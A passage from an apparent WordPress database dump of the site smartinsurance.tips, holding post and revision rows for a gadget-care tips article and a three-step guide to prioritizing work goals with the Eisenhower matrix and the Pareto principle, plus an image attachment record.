wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>How Do You Keep Electronics in Good Condition?</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><!-- wp:list-item -->\n<li>Software updates and maintenance: Regularly update your device’s operating system and applications to ensure you have the latest bug fixes, security patches, and performance improvements. Additionally, perform routine maintenance tasks such as disk cleanup, defragmentation, and antivirus scans to keep your system running smoothly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Safe handling and cleaning: Handle your electronics with clean hands and avoid touching sensitive components. Use microfiber cloths or appropriate cleaning solutions to wipe screens and surfaces gently. Be cautious with liquid cleaners; never spray them directly onto the device.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Environmental considerations: Keep your electronics away from extreme temperatures, high humidity, and direct sunlight. Store them in dry, cool areas to prevent moisture damage or overheating. Additionally, avoid exposing devices to magnetic fields or strong electromagnetic interference, as they can interfere with proper functioning.</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Remember, by adopting these practices, you can maximize the lifespan and performance of your electronics, ensuring they serve you well for an extended period.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://fixmygadget.com/6-easy-tips-in-taking-care-of-your-gadgets-how-to-keep-them-running-for-a-long-time/\">click here.</a></p>\n<!-- /wp:paragraph -->','6 Easy Tips in Taking Care of Your Gadgets – How To Keep Them Running For a Long Time','','inherit','closed','closed','','3896-revision-v1','','','2024-03-26 23:07:29','2024-03-26 23:07:29','',3896,'https://smartinsurance.tips/?p=3898',0,'revision','',0),(3899,1,'2024-03-26 23:23:57','2024-03-26 23:23:57','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3900,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-11-1024x1024.png\" alt=\"\" class=\"wp-image-3900\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Prioritizing goals is one of the most essential soft skills in the modern workplace. If you’re like most people, you encounter conflicting goals all the time. If you don’t have a clear way of prioritizing them, you may miss the really important tasks in the sea of mundane work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Learning to prioritize often means taking a step back. You need to assess the situation with a cool mind and identify your top priorities and the amount of time you need to complete them. Doing this while you’re constantly busy is impossible. You need to carve out some time in your workday or workweek to prioritize your goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this article, we’ll arm you with practical tools for prioritizing goals. By the end, you’ll feel less overwhelmed and ready to identify your most important goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>What Prioritizing Goals Means in Practice</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It would be ideal if, at work, you could devote all your time and energy to one professional goal. But that’s rarely the case. More often, the reality is that there are different goals competing for your attention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A monthly report for your boss. That training you’ve been meaning to enroll in for months — or is it already years? Also, there is that new communication strategy the company board wants your team to implement. And don’t forget that project idea you came up with that you’ve been meaning to share with a colleague.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s easy to feel like it all needs to happen at the same time, but of course, that’s impossible. To make things happen, you need to decide what exactly you’ll do and in what order. The better you are at prioritizing goals and the tasks they involve, the more efficient you become.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Prioritizing at work allows you to define your main objectives — i.e., what you’re trying to achieve. Then, you order them based on three characteristics: urgency, importance, and value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>The urgency aspect:</strong>&nbsp;Urgency involves managing short-term goals where a deadline is imposed on you. Just because something is urgent doesn’t necessarily mean you must prioritize it — although, it might. To assess whether or not the urgency has an impact on your task, you often need to ask yourself something like. “What would happen if I ignored this for another week?”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>The importance aspect:</strong>&nbsp;Importance usually competes with urgency when you’re prioritizing goals and is often connected to long-term goals. Short-term goals may be necessary to manage your workload day-to-day as well as give you a boost of satisfaction as you cross things off your task list. But long-term goals are usually the ones that create the most impact.<strong>&#x200d;</strong></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>The value aspect:</strong>&nbsp;Assessing the value of your goals may help you decide between those that have similar importance and urgency levels. For example, you may have two reports to complete, one for your manager and one for a client. Both are important and urgent, but you can’t do them at the same time. You may need to choose the client report, as it brings more value — it has an impact on the external reputation of the whole company.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Prioritizing goals is a game of considering and weighing those three factors against each other. Sometimes, your decisions will be more motivated by urgency and sometimes by value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Before we go into more detail about how to balance them out, let’s look at how prioritizing goals makes a difference at work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>How Prioritizing Goals Puts You Way Ahead of the Pack</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Let’s face it, most people don’t prioritize their goals. They try to chip away at everything at the same time, hoping that, eventually, they’ll magically “get things done.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, this isn’t about just getting any<em>&nbsp;</em>things done. It’s about getting the right<em>&nbsp;</em>things done. Those who don’t prioritize goals may feel like they work a lot, but more often than not, they face serious obstacles in their jobs, including:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>They are more prone to procrastination:</strong> When you’re not sure what you should be working on, it’s easy to put off work as a way of avoiding the difficult but important tasks.<strong>&#x200d;</strong></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>They run the risk of mostly focusing on urgent tasks:</strong> When you don’t take the time for goal setting and prioritizing, you may not even realize how much time you’re wasting.<strong>&#x200d;</strong></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>They never seem to have enough time:</strong>&nbsp;People who don\'t prioritize goals often get to the end of the day feeling like they worked a lot but accomplished very little.<strong>&#x200d;</strong></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>They get easily distracted by social media, email, and notifications:</strong>&nbsp;Without the focus that prioritizing goals gives you, it’s easy to lose yourself in meaningless entertainment and distractions.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On the other hand, people who prioritize often have a much calmer mind. Even if they don’t manage to accomplish everything they wanted, they’re clear about what they’re working toward at all times. According to the California Coast University, some benefits of prioritizing goals include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Less stress and higher productivity:</strong> Thanks to prioritizing, you don’t feel like you need to do everything at once. This supports single-tasking, eliminates cognitive load, and improves your personal productivity.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Improved quality of work:</strong>&nbsp;Because you work in a systematic, deliberate way, you have more time to check errors and make adjustments to what you’ve done.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Better work-life balance:</strong>&nbsp;When your goals are clearly defined and organized, you’re more empowered to take breaks from work and rest. Your mind and body will thank you for it.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Reduced procrastination:</strong>&nbsp;Prioritizing goals naturally improves your time-management skills. This means you waste less time on avoiding tasks you know you need to do anyway.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>More motivation to work:</strong> Listing and completing your goals gives you a sense of accomplishment. This creates a positive feedback loop that encourages you to keep up the good work.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>A 3-Step, No-Brainer Guide to Goal Setting and Prioritizing</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Now that you know how important goal prioritization is, it’s time for the most crucial questions: How do you actually do this? What are the practical steps to deciding which goals are more important than others?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are many prioritization techniques out there, but don’t overcomplicate this. Prioritizing goals isn’t rocket science. You can follow three simple steps to make it work for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Step 1: Define and Write Down Your Goals</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This step is mostly ignored, and that’s a big mistake. You can’t prioritize your goals without first knowing what they are. So, start by pulling out a good-old piece of paper and making a list of goals you’re currently trying to achieve.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Don’t differentiate at this point; simply write down all the goals you can think of. Remember that goals are different from tasks. As business coach Leslie Couch writes, “A goal states what we want to achieve; our desired outcome. ... Goals are frequently vague as to the what, when, and how but their purpose is to give a why to our actions and link our actions to our ultimate vision.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some examples of goals at work may include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Learn a new skill</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Meet the deadlines for an important project</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Get promoted</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Gather honest feedback on a piece of work you’ve done</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Implement a new meeting format</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Negotiate a salary raise</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>All such goals require specific tasks to arrive at the desired outcome. Don’t go into that part just yet. In this step, the point is to get an overview of everything you’re working toward. Breaking goals down into tasks is a separate process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Step 2: Assess the Importance, Urgency, and Value</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This step is the “meat” of the prioritization process. It starts with realizing that you can’t tackle all the things on your goal list at the same time. You may be able to accomplish all of them eventually, but to do that, you need to create a strategic plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That plan requires prioritizing based on the importance, urgency, and value of your goals. Here’s an example of how to assess those.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\"><strong>Assess Importance and Urgency</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>To assess importance and urgency, the most popular prioritization method is the Eisenhower matrix. The matrix consists of two axes. The horizontal axis represents urgency, and the vertical axis represents importance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Try placing each of your goals on the matrix, depending on their importance and urgency. You can also divide a piece of paper into four boxes: urgent and important, important and not urgent, urgent and not important, and not important and not urgent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your highest priority tasks will derive from the urgent and important goals, followed by important and not urgent, and sometimes urgent but not important. The not important, not urgent goals are usually best put aside.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\"><strong>Assess Value</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Sometimes, the importance versus urgency assessment is enough. It may reveal enough about your goals to help you put them in order from the highest priority to the lowest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But if you have highly important and urgent goals still competing for your attention, you may need to base your decision on the value those goals bring — both to your professional development and to the company. This is where the Pareto analysis may be helpful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Pareto principle states that 80% of the success comes from 20% of the efforts. If you think about it in this way, you may be able to identify goals that create the most results in your work and focus on them first. Then, you’ll translate them into high-priority tasks to go on your to-do list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\"><strong>Assess Length</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’re still in doubt about how to prioritize your goals, this may be your last resort. Sometimes, when you’re stuck in a rut about which goal to pursue first, you can simply pick the one that takes less time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are moments in your professional life when doing something is better than staying paralyzed doing nothing. A quickly achievable goal may mean an easy win and a boost to your self-esteem, which will propel you forward.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To assess which goals take shorter than others, you can use a popular project management technique called work breakdown structure. It allows you to break big goals into smaller chunks and estimate how long they may take to complete.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Step 3: Decide Your Priorities and Revise Them Weekly</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once you’ve thought about various factors that contribute to your goal priority level, come back to your original list. You should now be better equipped to order your goals based on their urgency, importance, value, and in some cases, length.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Simply put numbers next to each goal, indicating which one you’ll tackle first, second, etc. Remember that this may be subject to change in the future. Your goal priorities are dynamic and depend on the wider context of your work, which tends to change.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A good rule of thumb is to revise your goals weekly, together with creating a weekly work plan. This will allow you to be more accurate about your priorities. Studies show that the time distance from a goal impacts how we perceive it. It may be that, as you get closer to completing your goal, your perception of how important it is changes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Measure the Progress on Your Goals With Time Tracking</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Speaking of time, it’s important to track how your prioritization techniques are impacting your progress at work. This is hard to do without knowing where exactly your time goes and what the outcomes are.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once you’ve decided about your goals’ priority levels, you’ll need to break them down into daily tasks and get to work. You can verify how efficient you are by tracking time spent on those tasks and evaluating whether this is the right way to proceed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://rize.io/blog/prioritizing-goals\">click here.</a></p>\n<!-- /wp:paragraph -->','A 3-Step Guide to Prioritizing Goals at Work','','publish','closed','closed','','a-3-step-guide-to-prioritizing-goals-at-work','','','2024-03-26 23:23:59','2024-03-26 23:23:59','',0,'https://smartinsurance.tips/?p=3899',0,'post','',0),(3900,1,'2024-03-26 23:22:11','2024-03-26 23:22:11','','Untitled-11','','inherit','closed','closed','','untitled-11-3','','','2024-03-26 23:22:11','2024-03-26 23:22:11','',3899,'http://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-11.png',0,'attachment','image/png',0),(3901,1,'2024-03-26 23:23:57','2024-03-26 23:23:57','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3900,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/03/Untitled-11-1024x1024.png\" alt=\"\" class=\"wp-image-3900\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Prioritizing goals is one of the most essential soft skills in the modern workplace. If you’re like most people, you encounter conflicting goals all the time. If you don’t have a clear way of prioritizing them, you may miss the really important tasks in the sea of mundane work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Learning to prioritize often means taking a step back. You need to assess the situation with a cool mind and identify your top priorities and the amount of time you need to complete them. Doing this while you’re constantly busy is impossible. You need to carve out some time in your workday or workweek to prioritize your goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this article, we’ll arm you with practical tools for prioritizing goals. By the end, you’ll feel less overwhelmed and ready to identify your most important goals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>What Prioritizing Goals Means in Practice</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It would be ideal if, at work, you could devote all your time and energy to one professional goal. But that’s rarely the case. More often, the reality is that there are different goals competing for your attention.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A monthly report for your boss. That training you’ve been meaning to enroll in for months — or is it already years? Also, there is that new communication strategy the company board wants your team to implement. And don’t forget that project idea you came up with that you’ve been meaning to share with a colleague.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s easy to feel like it all needs to happen at the same time, but of course, that’s impossible. To make things happen, you need to decide what exactly you’ll do and in what order. The better you are at prioritizing goals and the tasks they involve, the more efficient you become.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Prioritizing at work allows you to define your main objectives — i.e., what you’re trying to achieve. Then, you order them based on three characteristics: urgency, importance, and value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>The urgency aspect:</strong>&nbsp;Urgency involves managing short-term goals where a deadline is imposed on you. Just because something is urgent doesn’t necessarily mean you must prioritize it — although, it might. To assess whether or not the urgency has an impact on your task, you often need to ask yourself something like. “What would happen if I ignored this for another week?”</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>The importance aspect:</strong>&nbsp;Importance usually competes with urgency when you’re prioritizing goals and is often connected to long-term goals. Short-term goals may be necessary to manage your workload day-to-day as well as give you a boost of satisfaction as you cross things off your task list. But long-term goals are usually the ones that create the most impact.<strong>&#x200d;</strong></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>The value aspect:</strong>&nbsp;Assessing the value of your goals may help you decide between those that have similar importance and urgency levels. For example, you may have two reports to complete, one for your manager and one for a client. Both are important and urgent, but you can’t do them at the same time. You may need to choose the client report, as it brings more value — it has an impact on the external reputation of the whole company.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Prioritizing goals is a game of considering and weighing those three factors against each other. Sometimes, your decisions will be more motivated by urgency and sometimes by value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Before we go into more detail about how to balance them out, let’s look at how prioritizing goals makes a difference at work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>How Prioritizing Goals Puts You Way Ahead of the Pack</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Let’s face it, most people don’t prioritize their goals. They try to chip away at everything at the same time, hoping that, eventually, they’ll magically “get things done.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, this isn’t about just getting any<em>&nbsp;</em>things done. It’s about getting the right<em>&nbsp;</em>things done. Those who don’t prioritize goals may feel like they work a lot, but more often than not, they face serious obstacles in their jobs, including:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>They are more prone to procrastination:</strong> When you’re not sure what you should be working on, it’s easy to put off work as a way of avoiding the difficult but important tasks.<strong>&#x200d;</strong></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>They run the risk of mostly focusing on urgent tasks:</strong> When you don’t take the time for goal setting and prioritizing, you may not even realize how much time you’re wasting.<strong>&#x200d;</strong></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>They never seem to have enough time:</strong>&nbsp;People who don\'t prioritize goals often get to the end of the day feeling like they worked a lot but accomplished very little.<strong>&#x200d;</strong></li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>They get easily distracted by social media, email, and notifications:</strong>&nbsp;Without the focus that prioritizing goals gives you, it’s easy to lose yourself in meaningless entertainment and distractions.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On the other hand, people who prioritize often have a much calmer mind. Even if they don’t manage to accomplish everything they wanted, they’re clear about what they’re working toward at all times. According to the California Coast University, some benefits of prioritizing goals include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Less stress and higher productivity:</strong> Thanks to prioritizing, you don’t feel like you need to do everything at once. This supports single-tasking, eliminates cognitive load, and improves your personal productivity.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Improved quality of work:</strong>&nbsp;Because you work in a systematic, deliberate way, you have more time to check errors and make adjustments to what you’ve done.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Better work-life balance:</strong>&nbsp;When your goals are clearly defined and organized, you’re more empowered to take breaks from work and rest. Your mind and body will thank you for it.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Reduced procrastination:</strong>&nbsp;Prioritizing goals naturally improves your time-management skills. This means you waste less time on avoiding tasks you know you need to do anyway.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>More motivation to work:</strong> Listing and completing your goals gives you a sense of accomplishment. This creates a positive feedback loop that encourages you to keep up the good work.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>A 3-Step, No-Brainer Guide to Goal Setting and Prioritizing</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Now that you know how important goal prioritization is, it’s time for the most crucial questions: How do you actually do this? What are the practical steps to deciding which goals are more important than others?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are many prioritization techniques out there, but don’t overcomplicate this. Prioritizing goals isn’t rocket science. You can follow three simple steps to make it work for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Step 1: Define and Write Down Your Goals</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This step is mostly ignored, and that’s a big mistake. You can’t prioritize your goals without first knowing what they are. So, start by pulling out a good-old piece of paper and making a list of goals you’re currently trying to achieve.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Don’t differentiate at this point; simply write down all the goals you can think of. Remember that goals are different from tasks. As business coach Leslie Couch writes, “A goal states what we want to achieve; our desired outcome. ... Goals are frequently vague as to the what, when, and how but their purpose is to give a why to our actions and link our actions to our ultimate vision.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Some examples of goals at work may include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Learn a new skill</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Meet the deadlines for an important project</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Get promoted</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Gather honest feedback on a piece of work you’ve done</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Implement a new meeting format</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Negotiate a salary raise</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>All such goals require specific tasks to arrive at the desired outcome. Don’t go into that part just yet. In this step, the point is to get an overview of everything you’re working toward. Breaking goals down into tasks is a separate process.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Step 2: Assess the Importance, Urgency, and Value</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This step is the “meat” of the prioritization process. It starts with realizing that you can’t tackle all the things on your goal list at the same time. You may be able to accomplish all of them eventually, but to do that, you need to create a strategic plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That plan requires prioritizing based on the importance, urgency, and value of your goals. Here’s an example of how to assess those.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\"><strong>Assess Importance and Urgency</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>To assess importance and urgency, the most popular prioritization method is the Eisenhower matrix. The matrix consists of two axes. The horizontal axis represents urgency, and the vertical axis represents importance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Try placing each of your goals on the matrix, depending on their importance and urgency. You can also divide a piece of paper into four boxes: urgent and important, important and not urgent, urgent and not important, and not important and not urgent.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your highest priority tasks will derive from the urgent and important goals, followed by important and not urgent, and sometimes urgent but not important. The not important, not urgent goals are usually best put aside.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\"><strong>Assess Value</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Sometimes, the importance versus urgency assessment is enough. It may reveal enough about your goals to help you put them in order from the highest priority to the lowest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But if you have highly important and urgent goals still competing for your attention, you may need to base your decision on the value those goals bring — both to your professional development and to the company. This is where the Pareto analysis may be helpful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Pareto principle states that 80% of the success comes from 20% of the efforts. If you think about it in this way, you may be able to identify goals that create the most results in your work and focus on them first. Then, you’ll translate them into high-priority tasks to go on your to-do list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 class=\"wp-block-heading\"><strong>Assess Length</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If you’re still in doubt about how to prioritize your goals, this may be your last resort. Sometimes, when you’re stuck in a rut about which goal to pursue first, you can simply pick the one that takes less time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are moments in your professional life when doing something is better than staying paralyzed doing nothing. A quickly achievable goal may mean an easy win and a boost to your self-esteem, which will propel you forward.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To assess which goals take shorter than others, you can use a popular project management technique called work breakdown structure. It allows you to break big goals into smaller chunks and estimate how long they may take to complete.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\"><strong>Step 3: Decide Your Priorities and Revise Them Weekly</strong></h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once you’ve thought about various factors that contribute to your goal priority level, come back to your original list. You should now be better equipped to order your goals based on their urgency, importance, value, and in some cases, length.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Simply put numbers next to each goal, indicating which one you’ll tackle first, second, etc. Remember that this may be subject to change in the future. Your goal priorities are dynamic and depend on the wider context of your work, which tends to change.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A good rule of thumb is to revise your goals weekly, together with creating a weekly work plan. This will allow you to be more accurate about your priorities. Studies show that the time distance from a goal impacts how we perceive it. It may be that, as you get closer to completing your goal, your perception of how important it is changes.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Measure the Progress on Your Goals With Time Tracking</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Speaking of time, it’s important to track how your prioritization techniques are impacting your progress at work. This is hard to do without knowing where exactly your time goes and what the outcomes are.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once you’ve decided about your goals’ priority levels, you’ll need to break them down into daily tasks and get to work. You can verify how efficient you are by tracking time spent on those tasks and evaluating whether this is the right way to proceed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://rize.io/blog/prioritizing-goals\">click here.</a></p>\n<!-- /wp:paragraph -->','A 3-Step Guide to Prioritizing Goals at Work','','inherit','closed','closed','','3899-revision-v1','','','2024-03-26 23:23:57','2024-03-26 23:23:57','',3899,'https://smartinsurance.tips/?p=3901',0,'revision','',0),(3903,1,'2024-03-30 01:31:19','2024-03-30 01:31:19','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- 